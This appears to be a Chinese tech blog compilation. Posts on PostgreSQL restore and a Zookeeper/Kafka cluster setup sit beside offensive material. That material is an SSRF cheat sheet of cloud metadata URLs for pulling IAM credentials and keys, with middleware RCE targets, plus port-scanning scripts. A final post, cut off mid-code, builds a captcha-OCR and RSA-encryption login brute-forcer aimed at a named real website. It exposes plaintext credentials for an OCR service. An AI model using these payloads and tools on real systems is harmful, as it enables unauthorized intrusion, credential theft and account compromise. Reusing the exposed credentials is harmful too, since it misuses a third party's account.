`-I index` `--index=index`	只恢复命名的索引。
`-l` `--list`	列出备份的内容。这个操作的输出可以用 -L 选项限制和重排所恢复的项目。
`-L list-file` `--use-list=list-file`	只恢复在 list-file 里面的元素，以它们在文件中出现的顺序。
`-n namespace` `--schema=schema`	只恢复指定名字的模式里面的定义和/或数据。不要和 -s 选项混淆。这个选项可以和 -t 选项一起使用。
`-O` `--no-owner`	不要输出设置对象的权限，以便与最初的数据库匹配的命令。
`-s` `--schema-only`	只恢复表结构（数据定义）。不恢复数据，序列值将重置。
`-S username` `--superuser=username`	设置关闭触发器时声明超级用户的用户名。只有在设置了 –disable-triggers 的时候才有用。
`-t table` `--table=table`	只恢复表指定的表的定义和/或数据。
`-T trigger` `--trigger=trigger`	只恢复指定的触发器。
`-v` `--verbose`	声明冗余模式。
`-x` `--no-privileges` `--no-acl`	避免 ACL 的恢复（grant/revoke 命令）
`-X use-set-session-authorization` `--use-set-session-authorization`	输出 SQL 标准的 SET SESSION AUTHORIZATION 命令，而不是 OWNER TO 命令。
`-X disable-triggers` `--disable-triggers`	这个选项只有在执行仅恢复数据的时候才相关。
`-h host` `--host=host`	声明服务器运行的机器的主机名。
`-p port` `--port=port`	声明服务器侦听的 TCP 端口或者本地的 Unix 域套接字文件扩展。
`-U username`	以给出用户身分联接。
`-W`	强制给出口令提示。如果服务器要求口令认证，那么这个应该自动发生。

最常用的 pg_restore 用法如下：

pg_restore -d db_name path_to_db_backup_file.tar

如何使用 psql 恢复数据库

您可以使用 psql 工具从一个 sql 文件中恢复数据。以下是使用 psql 从 sql 文件恢复数据的基本用法：

psql -U username -f path_to_db_backup_file.sql

使用 `\i` 命令导入 sql 文件

您还可以 \i 命令导入 sql 文件。以下演示了导入 sakila 示例数据库的步骤：

启动 psql 工具并连接 PostgreSQL 服务器：
```
.\psql.exe -U postgres
```
根据提示输入 postgres 用户的密码，然后按下回车键。
创建 sakila 数据库
```
CREATE DATABASE sakila;
```
连接 sakila 数据库
```
\c sakila;
```
分别使用以下两个语句以导入刚刚下载的两个文件 postgres-sakila-schema.sql 和 postgres-sakila-insert-data.sql ：
```
\i C:/Users/Adam/Downloads/postgres-sakila-schema.sql
\i C:/Users/Adam/Downloads/postgres-sakila-insert-data.sql
```
请注意，请使用 / 替换文件路径中的 \ 。

结论

本文讨论了备份和恢复 PostgreSQL 数据库的几种方法。

搭建Kafka

Wed, 10 Jul 2024 15:42:00 GMT

0x01 Zookeeper集群搭建

1、目标

Kafka集群依赖于Zookeeper进行协调，搭建Kafka之前需要搭建Zookeeper，在两台服务器上搭建Zookeeper集群

2、准备

准备两台服务器

# kafka_1
10.1.239.144

# kafka_2
10.1.239.146

3、步骤

# 下载：https://zookeeper.apache.org/releases.html
https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz

# 上传：上传至/opt目录

# 解压：将Zookeeper解压至/usr/local目录
tar -zxvf /opt/apache-zookeeper-3.8.4-bin.tar.gz -C /usr/local

# 创建目录
/usr/local/apache-zookeeper-3.8.4-bin根目录下创建datas和logs文件夹
mkdir /usr/local/apache-zookeeper-3.8.4-bin/{datas,logs}

# 重命名
mv /usr/local/apache-zookeeper-3.8.4-bin/conf/zoo_sample.cfg /usr/local/apache-zookeeper-3.8.4-bin/conf/zoo.cfg

# 修改配置
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial 
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between 
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
# do not use /tmp for storage, /tmp here is just 
# example sakes.
dataDir=/usr/local/apache-zookeeper-3.8.4-bin/datas
# the port at which the clients will connect
clientPort=2181
# the maximum number of client connections.
# increase this if you need to handle more clients
#maxClientCnxns=60
#
# Be sure to read the maintenance section of the 
# administrator guide before turning on autopurge.
#
# https://zookeeper.apache.org/doc/current/zookeeperAdmin.html#sc_maintenance
#
# The number of snapshots to retain in dataDir
#autopurge.snapRetainCount=3
# Purge task interval in hours
# Set to "0" to disable auto purge feature
#autopurge.purgeInterval=1

## Metrics Providers
#
# https://prometheus.io Metrics Exporter
#metricsProvider.className=org.apache.zookeeper.metrics.prometheus.PrometheusMetricsProvider
#metricsProvider.httpHost=0.0.0.0
#metricsProvider.httpPort=7000
#metricsProvider.exportJvmInfo=true
server.1=10.1.239.144:2888:3888
server.2=10.1.239.146:2888:3888

# 节点拷贝
scp -r /usr/local/apache-zookeeper-3.8.4-bin root@10.1.239.146:/usr/local/apache-zookeeper-3.8.4-bin

# 创建myid
每个Zookeeper节点dataDir指定目录中都需要创建一个名为myid的文件，其内容为上述配置文件中的server.X的X值，例如X是144，那么/usr/local/apache-zookeeper-3.8.4-bin/datas/myid文件的值为100，执行如下指令：

10.1.239.144节点：
tee /usr/local/apache-zookeeper-3.8.4-bin/datas/myid <<- 'EOF'
1
EOF

10.1.239.146节点：
tee /usr/local/apache-zookeeper-3.8.4-bin/datas/myid <<- 'EOF'
2
EOF

# 开放端口
firewall-cmd --zone=public --add-port=2181/tcp --add-port=2888/tcp --add-port=3888/tcp --add-port=7000/tcp --permanent
firewall-cmd --reload

PS：每个Zookeeper所在节点都需要通过执行上面命令开放端口

4、启动节点

# 每个Zookeeper所在节点都需要通过执行下面命令启动节点
/usr/local/apache-zookeeper-3.8.4-bin/bin/zkServer.sh start
/usr/local/apache-zookeeper-3.8.4-bin/bin/zkServer.sh status
/usr/local/apache-zookeeper-3.8.4-bin/bin/zkServer.sh stop

5、访问节点

/usr/local/apache-zookeeper-3.8.4-bin/bin/zkCli.sh -server 10.1.239.144:2181

0x02 Kafka集群搭建

1、目标

注册在同一个Zookeeper集群中的各个Kafka节点属于同一个Kafka集群，Kafka通过brokerId来区分集群中的不同节点，在两台服务器上搭建Kafka集群

2、准备

# kafka_1
10.1.239.144

# kafka_2
10.1.239.146

3、步骤

# 下载：https://downloads.apache.org/kafka/3.7.0/
https://downloads.apache.org/kafka/3.7.0/kafka_2.12-3.7.0.tgz

# 上传：上传至/opt目录

# 解压：将Kafka解压至/usr/local目录
tar -zxvf /opt/kafka_2.12-3.7.0.tgz -C /usr/local

# 创建目录
/usr/local/kafka_2.12-3.7.0根目录下创建logs文件夹
mkdir /usr/local/kafka_2.12-3.7.0/logs

# 节点拷贝
scp -r /usr/local/kafka_2.12-3.7.0 root@10.1.239.146:/usr/local/kafka_2.12-3.7.0

# 修改配置
vim /usr/local/kafka_2.12-3.7.0/config/server.properties
# 同一Kafka集群下broker.id必须不同

# 10.1.239.144
broker.id=1
advertised.listeners=PLAINTEXT://10.1.239.144:9092
log.dirs=/usr/local/kafka_2.12-3.7.0/logs
zookeeper.connect=10.1.239.144:2181,10.1.239.146:2181

# 10.1.239.146
broker.id=2
advertised.listeners=PLAINTEXT://10.1.239.146:9092
log.dirs=/usr/local/kafka_2.12-3.7.0/logs
zookeeper.connect=10.1.239.144:2181,10.1.239.146:2181

# 环境变量
tee -a /etc/profile <<- 'EOF'
export KAFKA_HOME=/usr/local/kafka_2.12-3.7.0
export PATH=$PATH:$KAFKA_HOME/bin
EOF

source /etc/profile

# 开放端口，针对Zookeeper
firewall-cmd --zone=public --add-port=2181/tcp --permanent
firewall-cmd --reload

4、启动Kafka

# 启动Zookeeper
# 每个Zookeeper所在节点都需要通过执行下面命令启动节点
/usr/local/apache-zookeeper-3.8.4-bin/bin/zkServer.sh start
# 启动Kafka
kafka-server-start.sh $KAFKA_HOME/config/server.properties

常用命令

# 查看topics
kafka-topics.sh --zookeeper 10.1.239.144:2181 --list              # 旧版本
./kafka-topics.sh --bootstrap-server 11.223.35.63:9092 --list       # 新版本

11.223.35.63:9092
system_info_receipt

# 查看topics内容
kafka-console-consumer.sh --bootstrap-server 10.1.239.144:9092 --topic my_topic --from-beginning
./kafka-console-consumer.sh --bootstrap-server 11.223.35.57:9092 --topic system_info_receipt --from-beginning
./kafka-console-consumer.sh --bootstrap-server 11.223.35.63:9092 --topic st-security-capacity --from-beginning


# 删除topics
kafka-topics.sh --delete --topic my_topic --bootstrap-server 10.1.239.144:9092

kafka-2.0.2
pip3 install kafka-python -i https://mirrors.aliyun.com/pypi/simple/


0 16 * * * /usr/bin/python3 /root/kafka_upload/class.py

SSRF利用方法

Mon, 29 Apr 2024 14:54:00 GMT

SSRF利用方法

前言

SSRF漏洞在互联网公司中应该是除了越权之外最普遍的漏洞了。关于漏洞的原理，绕过，传统的扫端口、各种探测等利用方式等就不再赘述。

0x01 Cloud Metadata

就是各种云上的元数据信息，有些可直接拿到主机权限，有些可获取一些敏感信息。

1.1 AWS

http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
# ECS Task : 
https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
http://169.254.170.2/v2/credentials/

1.2 Google Cloud

https://cloud.google.com/compute/docs/metadata#  - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v1
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id# kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env# Google allows recursive pulls
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true# returns root password for Google
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

1.3 Digital Ocean

https://developers.digitalocean.com/documentation/metadata/
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

1.4 Packetcloud

https://metadata.packet.net/userdata

1.5 Azure

https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service# Header: "Metadata: true"# (Old) 
https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

1.6 Oracle Cloud

https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
http://169.254.169.254/opc/v1/instance/# 
https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

1.7 阿里云

https://www.alibabacloud.com/help/faq-detail/49122.htm
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

1.8 OpenStack

https://docs.openstack.org/nova/latest/user/metadata-service.html
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2012-08-10/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json

1.9 Kubernetes

# Debug Services (https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/)
https://kubernetes.default.svc.cluster.local
https://kubernetes.default# 
https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics

1.10 腾讯云

https://cloud.tencent.com/document/product/213/4934
http://metadata.tencentyun.com/latest/meta-data/
http://169.254.0.23/latest/meta-data/
http://100.88.222.5/

1.11 IPv6 Tests

大部分云主机都是支持IPv6的，所以绕过的时候可以尝试下


http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

1.12 华为云

# 
https://support.huaweicloud.com/usermanual-ecs/ecs_03_0166.html
http://169.254.169.254/openstack/latest/meta_data.json
http://169.254.169.254/openstack/latest/user_data
http://169.254.169.254/openstack/latest/network_data.json
http://169.254.169.254/openstack/latest/securitykey

0x02 中间件

利用SSRF攻击传统的组件、CMS等的常用途径不再赘述，这里举一些在大部分互联网公司中常用的能够被SSRF进一步利用的中间件。

2.1 Apollo

利用点：

未授权访问
https://github.com/apolloconfig/apollo/issues/2099 直接获取各种配置信息，各种账密、AK、数据库等

2.2 Erueka

利用点：

未授权访问
- Erueka未授权访问漏洞。通过内网Eruaka未授权，可获取到大量注册的应用，若运气好，直接可定位到核心组件和核心服务。

2.3 JumpServer

利用点：

RCE：
- JumpServer远程代码执行漏洞。JumpServer的这个漏洞最开始基本上都是在Nginx层做的拦截，如果直接找到Jumpserver的后端端口，可直接尝试利用漏洞RCE。

2.4 Grafana

利用点：

文件读取
- CVE-2021-43798任意文件读取。内网的组件大多比较脆弱，直接读Grafana的DB文件，得到的基本上都是比较重要的DB账号密码。

2.5 K8s

利用点：

各种未授权访问
- 这个比较大，不一一说了，纯属看运气了。比如常见的：API Server / etcd / kubectl proxy / kubelet / Docker Remote API / dashboard等等等

2.6 大数据相关

利用点：

未授权访问
文件读取
RCE

大数据生态组件也非常多，大多利用未授权访问、文件读取漏洞进行信息获取，部分可进行RCE。

2.7 SpringBoot Actuator

利用点：

未授权访问：
- 很多Actuator的端点拦截只是对外网而言，有些是在Nginx过滤了或者在 filter设置的只允许内部网络访问，通过SSRF就可以直接未授权获取各种数据，直接下载heapdump获取数据。
文件读取：
- Logview CVE-2021-21234
RCE：
- Gateway SPEL 代码注入 (CVE-2022-22947)
- 修改env端点属性
  - eureka xstream deserialization
  - SnakeYAML RCE
  - Jolokia Realm JNDI RCE
  - H2 RCE

2.8 内网业务应用

这里有个小技巧，先搞应用的API文档，大部分内网调用的服务很多都不做权限校验的，直接请求接口运气好的直接搞到核心数据

API文档的Fuzz URI

doc.htmlswagger-ui.htmlswagger/swagger-ui.htmlapi/swagger-ui.htmlapi/doc.htmlswagger/index.htmldruid/index.htmlspring-security-rest/api/swagger-ui.htmlspring-security-oauth-resource/swagger-ui.htmlswagger/v1/swagger.jsonswagger/v2/swagger.jsonapi-docsv1/api-docsv2/api-docs...

2.9 Confluence

利用点：

SPEL RCE
- CVE-2021-26084 Remote Code Execution on Confluence Servers

2.10 Elasticsearch

利用点：

未授权访问：
运气好的直接搞到运维或中间件的ES
- 是应用ES的话找访问日志的索引和操作日志的索引
- 是运维ES的话找应用stdout/stderr/logback等的索引
RCE：
- log4j（我不会告诉你国内TOP3云厂商卖的ES服务还有log4j漏洞呢）

2.11 阿里Druid

利用点：

未授权访问
找URI
找Session
找SQL（往SQL注入靠）

2.12 Apache Druid

利用点：

未授权访问
- Dashboard
文件读取
- CVE-2021-36749 Apache Druid LoadData 任意文件读取
RCE
- Apache Druid 远程代码执行漏洞（CVE-2021-26919）
- 结合未授权 Apache Druid 命令执行漏洞（CVE-2021-25646）

2.13 APISIX

利用点：

未授权访问
- CVE-2021-45232 APISIX Dashboard未授权访问漏洞

2.14 Jenkins

利用点：

未授权访问
- Groovy 脚本控制台 RCE
RCE
- CVE-2018-1000861
- CVE-2019-1003000

探测资产

Tue, 12 Mar 2024 16:27:00 GMT

bash脚本

利用telnet连接来判断端口开放

demo.sh

#!/bin/bash

# 检查是否传入了参数
if [ -z "$1" ]; then
    echo "错误：未传入参数 IP，请传入参数并重新运行脚本。"
    exit 1
fi

# 总的IP参数
IP=$1

# 总的输出文件
TOTAL_OUTPUT_FILE="total_scan_results.txt"

# 创建一个目录来存放子脚本的输出文件
mkdir -p child_scripts_output

# 循环生成80个子脚本，并调用它们
for ((i=1; i<=80; i++)); do
    # 每个子脚本负责扫描端口范围的一部分
    start_port=$((($i - 1) * 819 + 1))  # 计算起始端口
    if [ $i -eq 80 ]; then
        # 如果是最后一个子任务，则将剩余的端口分配给它
        end_port=65535
    else
        end_port=$(($i * 819))              # 计算结束端口
    fi
    # echo $start_port 'to' $end_port
    ./child_script.sh "$IP" "$start_port" "$end_port" &
    # fi 是 Bash 中的关键字，用于结束 if 结构。在这种结构中，if 关键字用于开始一个条件语句块，而 fi 则用于结束该语句块
done

# 等待所有子脚本执行完成
wait

# 汇总所有子脚本的输出到一个文件中
#cat child_scripts_output/* > "$TOTAL_OUTPUT_FILE"

cat child_scripts_output/*| awk '{print $2 ":" $4, $0}'| sort -t: -k1,1V -k2,2n | cut -d' ' -f2- > "$TOTAL_OUTPUT_FILE"
# awk '{print $2 ":" $4, $0}'   打印出以":"进行分列后的第2列和第4列
# -t:：指定冒号作为字段分隔符
# -k1,1V：按照冒号前的字段按照版本号排序（即按照IP地址的大小排序）
# -k2,2n：在IP地址相同时，按照冒号后的字段进行数字排序（即按照端口号的大小排序）
# -d' '：指定分隔符为空格
# -f2-：表示选取从第二列到最后一列的内容
# 输入的每一行内容按空格进行分割，并输出从第二列开始到最后一列的内容。

rm -rf child_scripts_output

echo "Scan completed. Results saved in $TOTAL_OUTPUT_FILE"

child_script.sh

#!/bin/bash

# 子脚本获取IP参数
IP=$1
# 子脚本获取起始端口参数
start_port=$2
# 子脚本获取结束端口参数
end_port=$3

# 子脚本的输出文件
OUTPUT_FILE="child_scripts_output/scan_results_${start_port}_${end_port}.txt"

# 循环遍历端口范围
for ((port=$start_port; port<=$end_port; port++)); do
    # 使用telnet进行端口探测，0.05秒超时
    if timeout 0.1 telnet "$IP" "$port" 2>/dev/null | grep ']' &>/dev/null; then
        result="IP $IP Port $port is alive (telnet)"
        echo "$result" >> "$OUTPUT_FILE"
    fi
done

echo "Child script for ports $start_port to $end_port completed."

批量python脚本

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# @Time : 2024/2/28 15:51
# @Author : 大C菌
# @File : 批量.py
# @Software: PyCharm
import os

import nmap
import csv
import concurrent.futures


class PortScanner:
    def __init__(self):
        pass

    def scan_host(self, ip, writer):
        nm = nmap.PortScanner()
        print(f"Starting scan for {ip}...")
        nm.scan(hosts=ip, arguments='-sT -min-rate 10000 -p-')

        for host in nm.all_hosts():
            hostname = nm[host].hostname()
            state = nm[host].state()
            print(f"Scanning host {host} ({hostname}), state: {state}")

            for proto in nm[host].all_protocols():
                lport = list(nm[host][proto].keys())
                lport.sort()

                for port in lport:
                    port_state = nm[host][proto][port]['state']
                    port_name = nm[host][proto][port]['name']
                    print(f"    port {port}/{proto} is {port_state} ({port_name})")
                    writer.writerow({
                        'host': host,
                        'hostname': hostname,
                        'state': state,
                        'protocol': proto,
                        'port': port,
                        'port_state': port_state,
                        'port_name': port_name
                    })

    def scan_ips_from_file(self, file_path):
        with open(file_path) as f, open('results2.csv', 'w', newline='') as csvfile:
            fieldnames = ['host', 'hostname', 'state', 'protocol', 'port', 'port_state', 'port_name']
            writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
            writer.writeheader()

            with concurrent.futures.ThreadPoolExecutor() as executor:
                futures = [executor.submit(self.scan_host, line.strip(), writer) for line in f]
                concurrent.futures.wait(futures)


if __name__ == '__main__':
    dirlist = os.listdir()
    config = 'ip.txt'
    if config not in dirlist:
        with open('ip.txt', 'w') as f:
            pass
        print(config + '创建成功')
    else:
        # 创建端口扫描器对象
        scanner = PortScanner()
        # 读取IP地址文件，并对其中的所有IP地址进行扫描
        scanner.scan_ips_from_file('ip.txt')

一次简单的JS逆向

Sat, 02 Mar 2024 17:09:00 GMT

0x01 登录页面

访问主页自动跳转登录页面，登录失败。提示用户名或密码错误。

抓包重放有验证码错误，密码被加密。

发现有imgStr参数进行校验，类似于token防重放攻击，重新请求获取验证码。

验证码认证成功

0x02 查看JS

其实这里的验证码虽然有token验证，但由于token是可以获取的，所以理论上是可以通过ocr接口获取然后进行登录爆破，那最重要的问题就是密码password参数的构造，直接写明文密码肯定是不行的，这里尝试过发现返回的不是密码错误，而是这样的报错。

javax.crypto.BadPaddingException: Decryption error

能看到有crypto字眼，这表示后台解密过程中发生了填充错误。当然我也尝试过正确格式也不成功，后面能够看到。

首先登录一次，查看网络信息，能够看到这里的加密提交参数。

imgStr: "jve7ebhm7h"     # 验证码token
loginposition: 1         # 测试删除后导致语法错误
password: "QjvTDzgUlBFgL+E3IrHJrAw3ZWJO5tThhb8NR99nv24CjldhAZn3YFh85bXDnLL+IL0OPEhoMeuuIHo5ALjemYTE7fk9gG4V1y52mQYJ8diZXhFSLs7X6QP9d3z0cZZf7b3IzhcGqD5IJGMMRcsyVD1Z9EReLAR3xa4EM/8t+A4="   # 加密密码参数
username: "admin"        # 明文账号
veryCode: "9386"         # 验证码

查看调用栈，有login字段，既然要进行登录，那就会像后端发送请求，则前端加密工作就已经结束了。

跟进查看，运行到提交表单这一步

s.i(n.a)(this, "/omp/system/system_spring_security", i).then(function(e) {

向上看一下对应的参数，发现有类似加密的字眼，打上断点再进行登录查看。

var e = new JSEncrypt;
e.setPublicKey(this.PublicKey);

向下运行到这一行之后发现定义的o的值，这是能够看到this.password的值为123456，是测试的明文密码，而o则是通过e.encrypt()函数进行加密后的密文密码。

测试这个密文进行登录，验证成功。

0x03 加密密文

既然已经知道了加密函数的位置和加密方法，这里在控制台测试输出，正常来说这里应该还要设置公钥或者私钥，由于这里的公钥是硬编码，且已经完整执行js，所以直接调用函数便得到了密文。

这里其实可以使用常见的js加密插件和burp联合使用即可进行绕过加密算法，但是那样是封装起来的，在渗透测试中，我们应该有一个确定的思路就是，能不使用框架则不使用框架，因为那是不透明的，这点我们的思路要明确。

这里继续跟进加密函数。

var e = new JSEncrypt;

这段代码是在设置RSA密钥生成参数时执行的操作，简单来说，它设置了RSA密钥生成中的公钥指数（public exponent）的默认值。有过RSA加密了解的话应该对十六进制010001这个数值不陌生，十进制下，这个值就是65537，作为常见的RSA公钥指数而存在。

再对e.setPublicKey(this.PublicKey);函数跟进，发现下面的参数，这里的默认指数给定的指是65537，下面的e并不是RSA加密中的指数，在这里其实是RSA加密的公钥，是通过硬编码的方式存储在js中。

default_key_size: 1024
default_public_exponent: "010001"
key: null
log: false
[[Prototype]]: Object
e: "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk00h0l+tSjtKswncCpM9CcebzIsWXvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfjcM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv+Z5psTON8v+akXpUIHwIDAQAB"

这里能看到一个base64解码操作，这里应该是对公钥的解密从而得到e和n。

再向下走，跟进 var o = e.encrypt(this.password)，这才真正进入加密函数中，能够看到encrypt(e)加密函数。

虽然前面已经确认了是RSA加密，不过到这一步就能够明显地看到了是RSA加密。

到了这里，这个加密算法就已经很明显了。

通过RSA进行加密：
1、公钥是硬编码
2、得到公钥
3、分解得到e、n
4、对明文进行加密
5、输出结果

这里使用python3.9.2进行编写。

pub.key：
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWXvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv+
Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# @Time : 2024/3/1 17:13
# @Author : 大C菌
# @File : rsa加密.py
# @Software: PyCharm
from Crypto.PublicKey import RSA
import gmpy2
from Crypto.Cipher import PKCS1_OAEP
import libnum
from urllib import parse
from pwn import *

with open('pub.key', 'r', encoding='utf-8') as info:
    pub_key = info.read()

print(pub_key)
pub_key = RSA.import_key(pub_key)
n, e = pub_key.n, pub_key.e
print(n)
# 137907056262359252538853999808270380583999899877129402326434295133351469026614387545938793697464324739075934692639085136942856546572909502719806774996693449508554455813932164110063437320089941862618538590554994619416379676921493247845752705537709558701460971785757437160956841427618384777163102140110946502687
print(e) # 65537
a = gmpy2.is_prime(n)
print(a) # False


# 使用公钥创建一个加密器
cipher_rsa = PKCS1_OAEP.new(pub_key)

m = b'123456'
e_data = cipher_rsa.encrypt(m)
print(e_data) # b'v\xac\xbc\x84\xf3\x08\xcf\xbc\xc0\x8d\xd5C\xf3\xd0i:p\xd9pE\xda\x94\xc9i\x87%\xb4n\x03\xc9\x8ffi\xbf}\x11\xec\xeb3Ud\x08\xcb%N\xab8y\x1c\xe4_XY\xa2\xc9\xbc\x9a\x8b\x83\xedf\x17\xac\xc3\x01T\x85F\x93N\xd3\x11\x89\x02\x96\xe1\xd7e\x84\xc2\x97z\xb4\x91\xf5\xdaqF\xbe\x87\x05\r\xfc1\xaa\xfc\xe5\xe6\xe7\x0bt\x97\xd1C\xf2\x93\x80\xd2K\x12\xe9\xe8\xf1\xa7\xbcE\x9e\xd5\x1d\x0f\xf0;t`\xe4N\xfd\xe2'
e_data_base64 = base64.b64encode(e_data)
print(e_data_base64) # b'dqy8hPMIz7zAjdVD89BpOnDZcEXalMlphyW0bgPJj2Zpv30R7OszVWQIyyVOqzh5HORfWFmiybyai4PtZheswwFUhUaTTtMRiQKW4ddlhMKXerSR9dpxRr6HBQ38Mar85ebnC3SX0UPyk4DSSxLp6PGnvEWe1R0P8Dt0YORO/eI='

用加密后的值去尝试登录，登录失败，出现了报错。

javax.crypto.BadPaddingException: Decryption error

这里解释一下，javax.crypto.BadPaddingException 表示解密过程中发生了填充错误。在使用对称加密算法时，通常会在密文的末尾添加填充以保证其长度是块大小的整数倍，常见的填充方案包括PKCS#1 v1.5填充和OAEP填充（Optimal Asymmetric Encryption Padding）。其中OAEP填充是更为安全和推荐的填充方案，它提供了更好的安全性和更好的随机性，能够更好地抵抗一些加密攻击，如选择明文攻击。

在解密时，解密算法会尝试删除填充，如果填充不正确，则会抛出 BadPaddingException 异常。很明显这里通过公钥加密的密文传输给后端，后端使用私钥进行解密却失败，所以抛出了异常。

更换填充方式为PKCS1_v1_5再次尝试。

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# @Time : 2024/3/1 17:13
# @Author : 大C菌
# @File : rsa加密.py
# @Software: PyCharm
from Crypto.PublicKey import RSA
import gmpy2
from Crypto.Cipher import PKCS1_v1_5
import libnum
from urllib import parse
from pwn import *

with open('pub.key', 'r', encoding='utf-8') as info:
    pub_key = info.read()

pub_key = RSA.import_key(pub_key)
n, e = pub_key.n, pub_key.e

# 使用公钥创建一个加密器
cipher_rsa = PKCS1_v1_5.new(pub_key)

m = b'123456'
e_data = cipher_rsa.encrypt(m)
e_data_base64 = base64.b64encode(e_data)
print(e_data_base64)

验证成功

0x04 加密传输

接下来就可以构造请求包尝试进行爆破，首先整理思路：

1、请求验证码接口，获取验证码的token值和验证码图片的base64编码，并进行解码得到验证码图片；
2、通过第三方插件或接口对验证码图片进行识别；
3、使用加密函数对请求的password值进行加密，并与验证码等其他参数组合为一个完整的请求体；
4、第四步可以通过burp与mitmproxy进行联动，以便手动修改参数，在爆破验证码上也是有效的方式，所以这里我只进行验证方法可行，后面只做到登录爆破的程度。

1、Burp与联动mitmproxy

个中原理这里不再赘述，首先是获取验证码与ocr识别：

class GetCode:

    def __init__(self):
        pass

    def getCode(self):
        headers = {
            "Host": "www.sx-xfjy.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://www.sx-xfjy.com/",
        }

        url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'
        req = requests.get(url=url, headers=headers)
        req_json = req.json()
        imgStr = req_json['data']['imgStr']
        _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')
        image_data = base64.b64decode(imageBase64Data)
        image = Image.open(io.BytesIO(image_data))
        image.save('img/decode_images.png')
        print(imgStr)
        return str(imgStr)

    def base64_api(self, uname, pwd, img, typeid):
        with open(img, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            b64 = base64_data.decode()
        data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}
        result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)
        if result['success']:
            return result["data"]["result"]
        else:
            # ！！！！！！！注意：返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别
            return result["message"]

    def identify(self):
        img_path = '/images/posts/js-reverse-rsa/decode_images.png'
        result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)
        print(result)
        return str(result)

加密函数：

def encrypt(password):
    with open('pub.key', 'r', encoding='utf-8') as info:
        pub_key = info.read()

    pub_key = RSA.import_key(pub_key)

    # 使用公钥创建一个加密器
    cipher_rsa = PKCS1_v1_5.new(pub_key)

    m = password.encode()
    e_data = cipher_rsa.encrypt(m)
    e_data_base64 = base64.b64encode(e_data)
    return e_data_base64

Mitmproxy联动：

class AutoDecoderClass(object):

    def request(self, flow: http.HTTPFlow):
        getcode = GetCode()
        if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':
            # print(flow.request.content)
            data = json.loads(flow.request.content.decode('utf-8'))
            # print(data['password'])
